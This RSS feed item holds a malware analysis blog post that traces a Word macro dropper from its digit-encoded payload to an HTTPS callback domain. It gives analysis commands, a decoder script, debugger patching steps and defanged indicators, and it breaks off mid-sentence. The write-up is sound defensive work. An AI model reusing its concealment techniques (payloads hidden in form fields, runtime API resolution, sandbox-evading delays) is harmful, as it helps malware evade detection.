<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pavan Teja Pothamsetti on Medium]]></title>
        <description><![CDATA[Stories by Pavan Teja Pothamsetti on Medium]]></description>
        <link>https://medium.com/@pavan-pothamsetti?source=rss-051b3df0b0a2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tMIj8gPpa4kuZ9xssKhcZw.jpeg</url>
            <title>Stories by Pavan Teja Pothamsetti on Medium</title>
            <link>https://medium.com/@pavan-pothamsetti?source=rss-051b3df0b0a2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 09:34:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pavan-pothamsetti/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Inside a Macro Dropper: From a Word Document to a Hidden C2 Domain]]></title>
            <link>https://pavan-pothamsetti.medium.com/inside-a-macro-dropper-from-a-word-document-to-a-hidden-c2-domain-f1c942d66869?source=rss-051b3df0b0a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1c942d66869</guid>
            <category><![CDATA[maldoc]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[muddy-waters]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Pavan Teja Pothamsetti]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 09:02:15 GMT</pubDate>
            <atom:updated>2026-10-25T09:02:15.719Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yiQZRNOVL3uGeTetUnlpRQ.png" /></figure><h3>Decoding an executable stored as 554,496 digits, and tracking down the domain it tries to reach</h3><p>A Word document that looks like a Word document, a macro that looks like a few harmless helper functions, and a wall of 554,496 digits. Hidden in those digits is a Windows executable. This post follows it from the first triage command to the domain the executable tries to contact, including the dead ends along the way.</p><ul><li><strong>The document</strong> is a legacy OLE Word file (Word 97–2003 format) carrying a name that ends in .docx. Its VBA macro hides a Windows executable as a string of <strong>554,496 digits</strong> in a UserForm text box.</li><li><strong>The macro</strong> decodes every three digits into one byte (184,832 bytes in total), writes them to a file, renames it .exe and launches it.</li><li><strong>The executable</strong> is a 64-bit PE whose import table shows only kernel32.dll, yet it contains WinHTTP function names. It resolves them <strong>at runtime</strong> with GetProcAddress.</li><li><strong>The network code</strong> only came out in a debugger. With its exit calls neutralised, the program decodes its server name in memory: promoverse[.]org, with an HTTP <strong>POST</strong> to /api/debut.</li><li><strong>VirusTotal</strong> flags the domain as malicious (20 of 92 vendors at the time of my check).</li><li><strong>In my lab</strong>, once my fake HTTPS server used a certificate the VM trusts, INetSim logged an HTTPS <strong>POST</strong> to <a href="https://promoverse[.]org/api/debut.">https://promoverse[.]org/api/debut.</a> A genuine reply from the real server cannot be observed in an isolated lab, so I call it a callback domain consistent with C2.</li><li><strong>The POST body</strong> is encrypted with BCryptEncrypt. Stopping right before the call shows the 68-byte plaintext: 31 random-looking bytes followed by a 36-character GUID, ce514fb2–8dba-41e4–9fb2–177ee9d48b8a, which is the machine GUID of my analysis VM. So the sample reports a stable identifier of the host. I did not recover the encryption key.</li></ul><h3>Introduction</h3><p>Office documents with macros are one of the oldest ways to get code onto a machine, and they are still common because they are cheap to produce and easy to disguise. This sample is a good teaching case, since it combines a decoder hidden in a form field, a dropper, runtime API resolution and anti-analysis behaviour in one small package.</p><p>The sample comes from MalwareBazaar: sample. I analysed it in isolated VMs (REMnux for document triage, a FLARE VM for the executable), with no route to the internet.</p><h3>Terms you will meet</h3><ul><li><strong>OLE / VBA macro:</strong> a legacy Microsoft Office file format that can store VBA (Visual Basic for Applications) code. Macros automate tasks in Word, Excel and Outlook. Their presence alone is not proof of malice, but attackers use them to run code.</li><li><strong>Dropper:</strong> a program whose job is to write another program to disk and run it.</li><li><strong>Dynamic API resolution:</strong> instead of listing the Windows functions it needs in its import table, a program looks them up by name at runtime with LoadLibrary and GetProcAddress. This hides its capabilities from simple static tools.</li><li><strong>C2 (command and control):</strong> the server the malware talks to.</li><li><strong>ASLR and image base:</strong> Windows loads programs at a random base address each run, so an address you see in a disassembler is not the one you see in a debugger. The offset from the base stays the same.</li></ul><h3>Step 1: First triage with oleid</h3><p>The oletools suite has several command-line tools for Office files: oleid (summary and risk indicators), olevba (macro extraction), olemap and oletimes (internal layout and timestamps), and mraptor (macro risk scoring). Didier Stevens’ oledump.py is a separate tool that lists a file’s internal streams. I started with oleid:</p><pre>oleid document.docx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*BHnBRT4JiUPfCMJ5BMa44A.png" /><figcaption><em>Figure 1: oleid output for document.docx</em></figcaption></figure><p>A few lines matter:</p><ul><li><strong>File format: MS Word 97–2003 Document or Template</strong> and <strong>container format: OLE.</strong> The file is named .docx, but a genuine .docx is a ZIP archive that cannot carry VBA macros directly. This is a legacy binary document with the wrong extension, which is itself a small red flag (a file-signature check would show D0 CF 11 E0 at the start instead of PK).</li><li><strong>VBA Macros: Yes, suspicious (HIGH).</strong> The file contains macros, and oleid found suspicious keywords in them.</li><li><strong>ObjectPool: True</strong> (low risk), meaning the file may hold embedded OLE objects.</li><li>The document properties list the author as DontAsk. Authors are set by whoever built the file, so treat it as a weak indicator at best.</li></ul><p>Macros alone do not make a file malicious. Plenty of legitimate spreadsheets use them. They do tell us where to look next.</p><h3>Step 2: Reading the macro with olevba</h3><p>olevba extracts the VBA source. I saved the output to a text file, because it is long:</p><pre>olevba document.docx &gt; vba.txt</pre><p>Two parts stood out, boxed in the screenshot below: a decoder (green) and a launcher (red).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8J5T8tS6GaDyOIJ5omOztQ.png" /><figcaption><em>Figure 2: olevba output — the decoder (green box) and the launcher (red box)</em></figcaption></figure><p>Here is what each function does:</p><ul><li><strong>wait()</strong> is a busy-loop delay. Four nested loops of 80 × 80 × 100 × 90 iterations add up to 57.6 million increments per call. Burning CPU like this, instead of calling a sleep function, is a common way to outlast sandboxes that give up after a short time or that skip sleeps.</li><li><strong>give()</strong> is the decoder (green box). For every three characters of its input it calls Val to turn them into a number and Chr to turn that number into a character. In other words, it reads decimal digits three at a time and builds bytes.</li><li><strong>go()</strong> is the launcher (red box). It creates a Shell.Application object, waits, <strong>renames</strong> the file to end in .exe (Name path As epath), and starts it with ShellExecute.</li><li>A function called <strong>HideCoverImage</strong> hides a shape in the document. I take it to be a decoy picture meant to lure the user, but I did not confirm that.</li></ul><p>Macros like this normally run automatically through an auto-open routine such as Document_Open, and olevba flags such entry points in its analysis table.</p><p>So where is the data that give() decodes? Further down the output, olevba prints a <strong>VBA form string</strong> from the stream Macros/UserForm1/o. The payload is not in the code module at all, but in the text of a control on a UserForm, which is why code-only views of the macro look short and harmless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eB2P4Z6rjaB056WpB2_eFw.png" /><figcaption><em>Figure 3: The 554,496-digit string stored in the UserForm (stream Macros/UserForm1/o)</em></figcaption></figure><p>The string is 554,496 characters long and starts with 077090….</p><h3>Step 3: Decoding the digits</h3><p>I asked an AI assistant for a Python equivalent of the VBA decoder. Because a Windows executable contains bytes above 127, it is important to build <strong>bytes</strong> and write the file in binary mode (“wb”). Here is the script, which also checks the result:</p><pre>import hashlib<br>def give(inp: str) -&gt; bytes:<br>    # VBA: For con = 1 To Len(inp) Step 3 : giv = giv &amp; Chr(Val(Mid(inp, con, 3)))<br>    out = bytearray()<br>    for i in range(0, len(inp), 3):<br>        out.append(int(inp[i:i+3]))   # one 3-digit decimal group -&gt; one byte<br>    return bytes(out)<br>txt = open(&quot;numbers.txt&quot;).read().strip()   # the long digit string, nothing else<br>print(&quot;Length:&quot;, len(txt), &quot;| multiple of 3:&quot;, len(txt) % 3 == 0)<br>data = give(txt)<br>open(&quot;decoded.bin&quot;, &quot;wb&quot;).write(data)<br>print(&quot;First bytes:&quot;, data[:2])           # b&quot;MZ&quot; for a Windows executable<br>if data[:2] == b&quot;MZ&quot;:<br>    pe_off = int.from_bytes(data[0x3C:0x40], &quot;little&quot;)<br>    print(&quot;Valid PE signature:&quot;, data[pe_off:pe_off+4] == b&quot;PE\x00\x00&quot;)<br>print(&quot;SHA-256 (decoded):&quot;, hashlib.sha256(data).hexdigest())<br>print(&quot;SHA-256 (as dropped by VBA):&quot;, hashlib.sha256(data + b&quot;\r\n&quot;).hexdigest())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*WHDGqG9pF5y4SKL-8g2ZDg.png" /><figcaption><em>Figure 4: Output of the decoding script</em></figcaption></figure><p>The results confirm the idea:</p><ul><li>554,496 digits divide evenly by 3, giving <strong>184,832 bytes</strong> (about 180 KB).</li><li>The first two bytes are MZ, the signature of a Windows executable, and the PE signature further in is valid.</li><li>There are two SHA-256 values. The first, d607df8fdc64e1bf4ec70e9eec0c635890609554e9b4fc4b16c16d26e21102c9, is the clean decode. The second, 8274a4405c8afe73929064f55d9a2fe83e70bdee242c754a7cbc352d7802e4f6, adds a trailing carriage return and line feed. VBA’s Print # statement appends those two bytes when it writes the file, so the second value is the one you would expect on an infected machine.</li></ul><p>I renamed decoded.bin to decoded.exe and moved it to the FLARE VM for analysis.</p><h3>Step 4: Static analysis of the executable</h3><p>In PEStudio, I looked at the import table first. PEStudio flags the functions it considers suspicious without any prompting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HkYD-id0dlNfhp7F-xFwYQ.png" /><figcaption><em>Figure 5: PEStudio import table — kernel32.dll only</em></figcaption></figure><p>What the screenshot shows:</p><ul><li>A <strong>64-bit</strong> PE using the <strong>GUI</strong> subsystem, so it has no console window.</li><li><strong>75 imports, all from kernel32.dll</strong>, with 8 flagged: GetCurrentProcessId, VirtualProtect, WriteFile, GetCurrentProcess, TerminateProcess, GetCurrentThreadId, RaiseException and RtlPcToFileHeader. PEStudio’s ATT&amp;CK hints in the technique column are heuristics based on the function name, so use them as pointers and not as findings. Several of these (heap, critical sections, TLS) are also standard C runtime start-up imports.</li><li>A debug timestamp of January 2023. Timestamps are easy to forge or reuse from an old build, so I would not use it to date the sample.</li></ul><p>No winhttp or wininet imports means no network code, right? That is what I first thought. An empty import table for networking only proves that the program does not <strong>declare</strong> it. To check for runtime imports, I ran strings and filtered for “winhttp”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*Dk7W8upB-oomqy6Td0DzEA.png" /><figcaption><em>Figure 6: Searching the strings for “winhttp”</em></figcaption></figure><p>The program contains Winhttp.dll and a whole set of WinHTTP function names (WinHttpOpen, WinHttpConnect, WinHttpOpenRequest, WinHttpSendRequest, WinHttpReceiveResponse, WinHttpReadData, WinHttpWriteData, WinHttpQueryHeaders and WinHttpSetOption). With nothing in the import table, the only reason to keep these names as strings is to look the functions up at runtime, which is <strong>dynamic API resolution</strong>. Dynamic resolution has legitimate uses, but hiding networking functions from the import table of a program that was delivered inside an obfuscated macro is a strong signal.</p><h3>Step 5: The dead end, and the way around it</h3><p>I ran the executable several times with Wireshark, INetSim and FakeNet-NG capturing, and saw nothing. The executable seemed to do nothing at all, and I spent a long time staring at it.</p><p>In Ghidra, searching for references to WinHttpConnect found nothing, which makes sense in hindsight: the program never calls the function by name, so there is no direct reference. The clue was in the previous paragraph. The functions are not used <strong>directly</strong>, so I went looking for the strings instead. A string search for winhttpconnect found the name stored in the read-only data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*94s8029gY-ynpoDpcqaJ0Q.png" /><figcaption><em>Figure 7: Ghidra string search finds “WinHttpConnect”</em></figcaption></figure><p>Following the reference to that string led to a small function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVd2SsHFOej8fEyqRGzLBA.png" /><figcaption><em>Figure 8: The function that resolves WinHttpConnect with GetProcAddress</em></figcaption></figure><p>The decompiler view on the right shows what it does in one line:</p><pre>DAT_140023d00 = GetProcAddress(DAT_140023cc0, &quot;WinHttpConnect&quot;);</pre><p>The program asks Windows for the address of WinHttpConnect and stores it in a global variable, DAT_140023d00. DAT_140023cc0 presumably holds the handle of the loaded winhttp.dll. Everywhere the program wants to connect to a server, it calls through that pointer.</p><blockquote><strong><em>A note on addresses:</em></strong><em> Ghidra shows addresses based on the file’s preferred load address (here 0x140000000). In a debugger the same code sits at a different address on every run, because Windows randomises the base. What stays constant is the </em><strong><em>offset from the base</em></strong><em>: 0x140023d00 in Ghidra is offset 0x23d00 everywhere. When you move between tools, convert by subtracting the base and adding the new one.</em></blockquote><p>Next, I looked at where that pointer is used. This is the call to WinHttpConnect:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWW-24BOMyybVEsbb0tszw.png" /><figcaption><em>Figure 9: The WinHttpConnect call — assembly on the left, decompiled code on the right</em></figcaption></figure><p>The left pane is the disassembly, and the right pane is Ghidra’s decompiled, C-like version of the same code. The boxed parts match each other. The signature of the function it calls is:</p><pre>HINTERNET WinHttpConnect(<br>    HINTERNET     hSession,        // RCX<br>    LPCWSTR       pswzServerName,  // RDX  &lt;- the domain or IP, as a wide string<br>    INTERNET_PORT nServerPort,     // R8   &lt;- the port<br>    DWORD         dwReserved       // R9   &lt;- must be 0<br>);</pre><p>On 64-bit Windows the first arguments travel in RCX, RDX, R8 and R9, so the server name is whatever ends up in RDX. Two things in the screenshot are worth noting:</p><ul><li>Ghidra’s grey annotation next to the port load reads = 01BBh. That is hexadecimal for <strong>443</strong>, the HTTPS port.</li><li>Both the name and the port are loaded from <strong>tables</strong> (DAT_140023b70 and DAT_14001f3a0 in the decompiled code), indexed by the same number. The program picks its server from a built-in list rather than from a single hard-coded name. The server name itself is not readable in the file, so I did not expect to find it by reading the disassembly.</li></ul><p>The instruction at 140002cdb, which loads the name into RDX, is what we need to see in action. Static analysis had taken me as far as it could.</p><h3>Step 6: Getting past the exit with x64dbg</h3><p>This part needs a debugger. x64dbg runs the executable one instruction at a time and lets you inspect registers and memory at any point.</p><p>Like a lot of malware, this program appears to guard against analysis. In the code I saw calls to <strong>TerminateProcess</strong> (ends the program) and <strong>CreateToolhelp32Snapshot</strong> (takes a snapshot of the running processes, which malware often uses to look for debuggers and analysis tools). I did not reverse those checks, so I cannot say exactly what they test. What I could do is stop them from ending the program.</p><p>Both functions are resolved with GetProcAddress, just like WinHTTP. In the debugger I searched for the strings TerminateProcess and CreateToolhelp32Snapshot, followed the references to the resolved pointers, and used <strong>Find references</strong> to list every place the program calls through them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_czifnn-kXzwgAm4ZIitg.png" /><figcaption><em>Figure 10: x64dbg — references to the resolved TerminateProcess pointer</em></figcaption></figure><p>To disable a call in x64dbg, select the instruction, then use <strong>Binary › Fill with NOPs</strong> (Ctrl+9). A NOP is a machine instruction that does nothing, so the call simply never happens:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOnUiImuSCyJba-Gzm6eow.png" /><figcaption><em>Figure 11: x64dbg — Binary &gt; Fill with NOPs</em></figcaption></figure><blockquote><strong><em>Keep in mind:</em></strong><em> Patching like this changes the program’s behaviour. It only edits the copy in memory, and the code that came after the removed call may behave unexpectedly. Report it in your notes, and treat what you see afterwards as “what the program does when its exits are disabled”.</em></blockquote><p>I repeated the approach that worked in Ghidra: find the WinHttpConnect string, follow the address, and put a <strong>breakpoint</strong> on the call. Ghidra’s 140002cd2 became 7FF632DC2CD2 in x64dbg. Same instruction, same offset (0x2CD2), different base. Then came a lot of clicking on <strong>Step Into</strong>, until the program reached the point where the server name is decoded and passed to the function.</p><h3>Step 7: The domain</h3><p>At the call, the registers and memory finally held readable values. x64dbg annotates each loaded pointer with the wide string it points to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iXxGTXu_H0kt6x-9yvj-w.png" /><figcaption><em>Figure 12: x64dbg at the WinHttpConnect call — domain, path and verb in memory</em></figcaption></figure><p>The three strings visible in the annotations:</p><ul><li>Server name: promoverse[.]org</li><li>Path: /api/debut</li><li>HTTP verb: POST</li></ul><p>The server name is not stored as plain text in the file. It exists only in memory after the program has computed it, which is why strings never showed it and why the network capture stayed silent until the exit calls were patched. I did not reverse the routine that builds it.</p><p>Together with the port value of 443 from the table, the program is set up to send an HTTP <strong>POST</strong> to promoverse[.]org/api/debut over HTTPS. I then looked the domain up on VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ezc2_SpFUxrZsH3ZUOYoFg.png" /><figcaption><em>Figure 13: VirusTotal verdict for the domain</em></figcaption></figure><p>20 of 92 security vendors flag promoverse[.]org as malicious, and VirusTotal tags it “known infection source”, “malicious web sites” and “spyware and malware”. It also carries a “top-1M” tag, meaning it appears in a popularity list, so a high-traffic site could be involved, and I would not read that tag as a sign of safety or of danger.</p><blockquote><strong><em>How strong is this evidence?</em></strong><em> The domain is not guessed. It was recovered from the executable’s own memory, and it is flagged by many vendors. That is strong evidence it is the malware’s C2 server. VirusTotal flags alone do not prove that role. The next section covers what I could and could not confirm in my lab.</em></blockquote><h3>Step 8: Is it really a C2 server?</h3><p>A domain recovered from a program’s own memory and flagged by many vendors is strong evidence. It does not by itself show that the sample really sends anything to it. So I let the sample try, inside my isolated lab. This is how that went, including the part where I got stuck.</p><h3>First attempt: a handshake, and then nothing</h3><p>With the exit calls patched, the sample resolved promoverse[.]org (my fake DNS server answered with a private lab address), opened a TCP connection to port 443 and sent a TLS Client Hello with the server name promoverse[.]org. My fake HTTPS server answered with its handshake messages. The HTTP request never arrived. In a later capture the client closed the connection itself (a TCP FIN) right after the handshake and before sending anything, and a TLS alert and a reset followed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*oDBT7oc_c1WeGsuqCPMguA.png" /><figcaption><em>Figure 14: Wireshark — DNS answer, TCP handshake, TLS handshake with SNI promoverse.org, then the client closes the connection (FIN)</em></figcaption></figure><h3>Where I got stuck</h3><p>For a long time I could not tell why. Stepping through the code in x64dbg, I saw execution jump over the WinHttpOpenRequest call: the instructions after the WinHttpConnect call save the returned handle, test it against zero, and jump away when it is zero. To keep going I moved the instruction pointer (RIP) onto the call by hand and stepped on. A few instructions later the program crashed with an access exception, and Windows printed WER/ReportFault … CreateFileMapping failed. That message comes from Windows’ crash handler and not from the malware, and the crash was most likely a side effect of forcing execution past a check.</p><p>My theory at that point was that the program checks the reply of my fake server and that my fake server was failing the check. That turned out to be wrong. The real cause was simpler, and it was in my lab and not in the malware.</p><h3>The cause: my lab’s certificate was not trusted</h3><p>A client that closes the connection before sending its request points to certificate validation. The sample talks HTTPS through WinHTTP, which relies on the Windows certificate store. To test the same machine without the malware, I used curl, which goes through the same Windows security layer:</p><pre>curl.exe -v --ssl-no-revoke https://promoverse[.]org</pre><pre>* Trying 10.0.0.3:443...<br>* Connected to promoverse.org (10.0.0.3) port 443<br>* schannel: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was<br>  issued by an authority that is not trusted.<br>* Closing connection 0<br>(output trimmed)</pre><p>SEC_E_UNTRUSTED_ROOT means Windows could not tie the server’s certificate to a root it trusts. Certificate checks happen on the client, so a client that rejects the certificate drops the connection without sending a request, which is exactly what my capture showed. INetSim’s default certificate is not something a Windows VM trusts.</p><h3>The fix: a certificate the VM trusts</h3><p>I created a certificate on REMnux, copied it to the FLARE VM and installed it there as a trusted certificate. Windows checks both the trust chain and the host name, so the certificate has to name promoverse.org. One way to set it up is a small lab certificate authority plus a certificate for the domain:</p><pre>openssl req -x509 -newkey rsa:4096 -keyout mal_key.pem -out mal_cert.pem -sha256 -days 365 -nodes -subj &quot;/CN=promoverse[.]org&quot;</pre><p>Then point INetSim at the new files (the https_ssl_certfile and https_ssl_keyfile settings in inetsim.conf), restart it, copy only mal_cert.pem to the FLARE VM, change the extension to .crt, and install it as a trusted root from an administrator prompt:</p><blockquote><strong><em>Keep it in the lab:</em></strong><em> Install this certificate authority only in the analysis VM and never anywhere else. Revert the snapshot when you are finished.</em></blockquote><h3>What the lab showed once it worked</h3><p>With the certificate trusted, the sample’s HTTPS connection to the fake server was accepted and INetSim’s log shows what it sent: a DNS lookup for promoverse.org, followed by an HTTPS request with the method <strong>POST</strong> to <a href="https://promoverse.org/api/debut.">https://promoverse[.]org/api/debut.</a> INetSim also saved the body of that request in its postdata folder, under a file name derived from a hash of the content. The next step looks at what is inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zvUZJ655OZQNSL1j_l1rTg.png" /><figcaption><em>Figure 15: INetSim log — DNS lookup for promoverse.org and the HTTPS POST to /api/debut</em></figcaption></figure><p>The same log contains lookups made by Windows itself, such as ctldl.windowsupdate.com (certificate trust list updates) and slscr.update.microsoft.com. Those are operating-system housekeeping and not part of the sample’s behaviour.</p><p>That is a concrete observation. When the sample can complete a TLS connection, it sends an HTTP POST to /api/debut on its hard-coded domain, which matches the verb and path I read from memory in the debugger.</p><h3>What the lab cannot show</h3><p>A genuine response from the real server. My lab is isolated on purpose, so the only server the sample can reach is a simulator that returns generic pages. That lets me show what the sample sends, but not what the attacker’s server sends back, so I cannot say how the server directs the malware. For that, I would cite a public sandbox report made with live internet access, as someone else’s observation.</p><blockquote><strong><em>How I describe it:</em></strong><em> promoverse[.]org is a hard-coded domain, flagged malicious by many vendors, to which the sample sends an HTTPS POST to /api/debut. That behaviour is consistent with a C2 callback. I have not observed a genuine reply from the server, so I do not claim to know what instructions it sends.</em></blockquote><h3>Step 9: What does the POST body contain?</h3><p>INetSim saved the body of the request, so I looked at it with a hexdump:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*Cz03B_vtq3FrLHjg7sNiBw.png" /><figcaption><em>Figure 16: Hexdump of the POST body saved by INetSim</em></figcaption></figure><p>It is not readable text and has no obvious structure, which fits encrypted data. The sample references Bcrypt.dll, Windows’ cryptography library, so the call to look for was BCryptEncrypt. I stopped right before it in x64dbg.</p><p>Encryption hides the data on the wire, but the function needs the <strong>plaintext</strong> as an input, so stopping right before the call shows what is about to be sent. The signature is:</p><pre>NTSTATUS BCryptEncrypt(<br>    BCRYPT_KEY_HANDLE hKey,     // RCX<br>    PUCHAR            pbInput,  // RDX  &lt;- the plaintext, before encryption<br>    ULONG             cbInput,  // R8   &lt;- its length<br>    VOID              *pPaddingInfo, // R9<br>    PUCHAR            pbIV,     // stack<br>    ULONG             cbIV,     // stack<br>    PUCHAR            pbOutput, // stack  &lt;- where the ciphertext goes<br>    ULONG             cbOutput, // stack<br>    ULONG             *pcbResult, // stack<br>    ULONG             dwFlags   // stack<br>);</pre><p>On x64 Windows the first four arguments travel in RCX, RDX, R8 and R9, so the plaintext pointer is in RDX and its length is in R8. The instruction just before the call is mov rdx, rdi, so the pointer is also in RDI. At the breakpoint both registers held the same address, and R8 was 0x44, which is 68 bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*I5A-aklrvrLcaEyapV8vtQ.png" /><figcaption><em>Figure 17: Registers just before BCryptEncrypt — RDX and RDI hold the plaintext pointer, R8 = 0x44 (68 bytes)</em></figcaption></figure><p>Following RDX in the dump shows the plaintext buffer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*fYvinDln_NQjL6CC0CXirw.png" /><figcaption><em>Figure 18: The plaintext buffer in the x64dbg dump</em></figcaption></figure><p>Reading it from the first byte, the 68 bytes that are passed to the function (offsets 0x00 to 0x43) break down like this:</p><pre>0x00 - 0x1E   31 bytes   random-looking<br>0x1F - 0x42   36 bytes   ASCII text: ce514fb2-8dba-41e4-9fb2-177ee9d48b8a<br>0x43          1 byte     00 (string terminator)<br>-- end of the 68 bytes passed to BCryptEncrypt (cbInput = 0x44) --<br>0x44 onwards             UTF-16 text &quot;ft\Windows\BurnU&quot;, then random bytes and zeros</pre><ul><li>The <strong>first 31 bytes</strong> look random. I do not know what they are for. A random prefix or padding would fit, but I have not checked.</li><li>Then comes a <strong>36-character ASCII string</strong>, ce514fb2–8dba-41e4–9fb2–177ee9d48b8a, followed by a zero byte. It has the shape of a version 4 GUID, and it is the <strong>machine GUID of my FLARE VM</strong>.</li><li>31 + 36 + 1 = <strong>68</strong>, exactly the length passed to BCryptEncrypt.</li></ul><p>The UTF-16 text that follows in the dump, ft\Windows\BurnU, comes <strong>after</strong> those 68 bytes. It is not part of the message. It is neighbouring data in the same buffer, and I mention it only because it is easy to mistake for part of the payload.</p><p>The GUID is the <strong>machine GUID</strong> of my FLARE VM. Windows generates this value when it is installed and stores it in the registry, in the MachineGuid value under HKLM\SOFTWARE\Microsoft\Cryptography. You can read it on any Windows machine with:</p><pre>reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid</pre><p>That changes how to read the data. The sample is not sending a random value it made up. It is sending a stable identifier of the <strong>host</strong>: the same on every run on the same machine and different on every other machine. That is exactly what a server needs to tell infected hosts apart. The registry-query names in the sample’s strings (RegOpenKeyExA, RegQueryValueExA) fit with it reading the value from there, but I have not traced the call that does it, and I cannot see what the server does with the value.</p><blockquote><strong><em>What this shows:</em></strong><em> The sample sends the machine GUID of the infected host to its hard-coded domain inside an encrypted body. Recovering the plaintext at the call did not need the key, but it also did not tell me the algorithm, the mode or the key, so I cannot decrypt the captured body offline.</em></blockquote><h3>Who is behind it?</h3><p>My own analysis did not point to a known malware family or threat group. The link came from a hash lookup: when I searched the hash on VirusTotal, the sample was listed under <strong>MuddyWater</strong>, a threat group that MITRE ATT&amp;CK tracks as G0069.</p><p>That fits the delivery method. Trend Micro’s 2018 analysis of a potential MuddyWater campaign says the activity was first sighted in 2017, when it targeted the Saudi government with PowerShell scripts deployed through Word macros. But the traits I observed (a macro dropper, an encoded payload, runtime API resolution, and an encrypted HTTPS callback that carries a host identifier) are used by many different actors, so they cannot confirm the attribution on their own.</p><p>I treat the MuddyWater link as a lead and not as a conclusion. It comes from a third party, I have not verified it independently, and I would call my confidence low to moderate until a second independent source or a code-level comparison supports it.</p><h3>What I did not establish</h3><ul><li><strong>The encryption algorithm, mode and key,</strong> and what the 31 leading bytes of the plaintext are for. I read the plaintext at the call but did not analyse the key setup.</li><li><strong>What the server sends back.</strong> My isolated lab cannot show a genuine reply.</li><li><strong>Whether the MuddyWater attribution is correct.</strong> It comes from VirusTotal and I did not verify it myself.</li></ul><h3>Indicators of compromise</h3><p>Network indicators are defanged.</p><ul><li><strong>Document (MalwareBazaar):</strong> SHA-256 167d5ab70f55c100e51833fbfea44048095889c162e1330df0631423fc547409, an OLE Word 97–2003 file with a .docx extension</li><li><strong>Decoded executable:</strong> SHA-256 d607df8fdc64e1bf4ec70e9eec0c635890609554e9b4fc4b16c16d26e21102c9 (clean decode) and 8274a4405c8afe73929064f55d9a2fe83e70bdee242c754a7cbc352d7802e4f6 (with the trailing CRLF the macro adds)</li><li><strong>Domain:</strong> promoverse[.]org</li><li><strong>Request (observed in my lab):</strong> HTTPS POST to <a href="https://promoverse[.]org/api/debut">https://promoverse[.]org/api/debut</a></li><li><strong>Request body:</strong> encrypted with BCryptEncrypt before sending. The 68-byte plaintext was 31 random-looking bytes plus the host’s machine GUID (ce514fb2–8dba-41e4–9fb2–177ee9d48b8a is my lab VM’s value). The GUID differs from machine to machine, so it is not an indicator itself.</li><li><strong>TLS:</strong> Client Hello with server name promoverse[.]org on port 443 (observed in my lab)</li><li><strong>Macro structure:</strong> a 554,496-character digit string in Macros/UserForm1/o, plus the functions wait, give, go and HideCoverImage</li><li><strong>Executable traits:</strong> 64-bit GUI PE; kernel32.dll-only import table; WinHTTP function names present as strings</li></ul><h3>MITRE ATT&amp;CK mapping</h3><ul><li><strong>T1204.002</strong> User Execution: Malicious File (the victim has to open the document and, in modern Office, enable macros)</li><li><strong>T1059.005</strong> Command and Scripting Interpreter: Visual Basic</li><li><strong>T1140</strong> Deobfuscate/Decode Files or Information (digits to bytes)</li><li><strong>T1027</strong> Obfuscated Files or Information (payload hidden in a form string)</li><li><strong>T1027.007</strong> Obfuscated Files or Information: Dynamic API Resolution</li><li><strong>T1497.003</strong> Virtualization/Sandbox Evasion: Time Based Evasion (the wait() busy loop)</li><li><strong>T1071.001</strong> Application Layer Protocol: Web Protocols (HTTPS POST to the C2 domain)</li><li><strong>T1573</strong> Encrypted Channel (the request body is encrypted with BCryptEncrypt before it is sent over HTTPS)</li><li><strong>T1082</strong> System Information Discovery (the host’s machine GUID is collected and sent in the request)</li></ul><p>The CreateToolhelp32Snapshot call hints at process discovery (T1057), but I did not confirm what the program does with the result, so I have left it out of the list.</p><h3>Conclusion</h3><p>This sample tried several ways to stay out of sight: the payload hid in a form field, the executable hid its networking behind runtime API resolution, and its server name only existed in memory. Each of them was beaten by one idea, to stop trusting the surface and follow the strings, then the pointers, then the data.</p><p>The lessons I took from it:</p><ul><li>An empty import table for networking does not mean no networking. <strong>Search the strings.</strong></li><li>If the strings are there but nothing references them, think GetProcAddress, and follow the <strong>pointer</strong> instead.</li><li>When static analysis gives you the structure but not the value, a <strong>debugger</strong> can show the value in memory.</li><li>If the program exits before it shows anything, find out why, and keep careful notes of what you change to get past it.</li><li>If a sample connects to your fake server but never sends its request, test certificate trust on the analysis VM first. curl -v 